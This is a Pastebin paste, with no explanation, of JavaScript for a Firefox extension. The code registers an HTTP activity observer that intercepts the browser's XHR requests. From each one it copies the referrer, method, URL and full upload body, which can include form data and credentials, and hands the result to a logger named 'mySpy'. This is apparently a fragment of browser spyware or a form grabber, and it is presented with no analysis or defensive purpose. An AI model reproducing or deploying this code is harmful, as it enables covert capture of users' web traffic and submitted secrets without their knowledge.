Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try {
- var nsIHAO = Ci["nsIHttpActivityObserver"]
- } catch (e) {}
- var httpObserver = {
- observeActivity: function (q, i, b, c, o, a) {
- try {
- if (i != nsIHAO["ACTIVITY_TYPE_HTTP_TRANSACTION"]) {
- return
- }
- if (b != nsIHAO["ACTIVITY_SUBTYPE_REQUEST_HEADER"]) {
- return
- }
- } catch (p) {}
- if (!(q instanceof Ci["nsIHttpChannel"])) {
- return
- }
- try {
- var m = q["notificationCallbacks"];
- if (m) {
- var h = m["getInterface"](Ci["nsIXMLHttpRequest"])
- } else {
- var h = null
- }
- } catch (p) {}
- if (h == null) {
- return
- }
- try {
- var n = q["referrer"]["asciiSpec"] + " #FIREFOX#" + Application["version"] + "#XHR_" + q["requestMethod"] + "#" + q["name"]
- } catch (l) {}
- try {
- if (q instanceof Ci["nsIUploadChannel"]) {
- var g = q["uploadStream"]
- }
- if (g) {
- if (g instanceof Ci["nsISeekableStream"]) {
- var k = g["tell"]();
- g["seek"](0, 0);
- var f = Cc[mo + "binaryinputstream;1"]["createInstance"](Ci.nsIBinaryInputStream);
- f["setInputStream"](g);
- var d = [];
- for (var j = g["available"](); j; j = g["available"]()) {
- d["push"](f["readBytes"](j))
- }
- text = d["join"]("");
- n = n + " " + text;
- g["seek"](0, k)
- }
- }
- } catch (l) {}
- mySpy["saveLog"](n)
- }
- };
- try {
- var actDist = Cc[mo + "network/http-activity-distributor;1"]["getService"](Ci["nsIHttpActivityDistributor"]);
- actDist["addObserver"](httpObserver)
- } catch (e) {};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement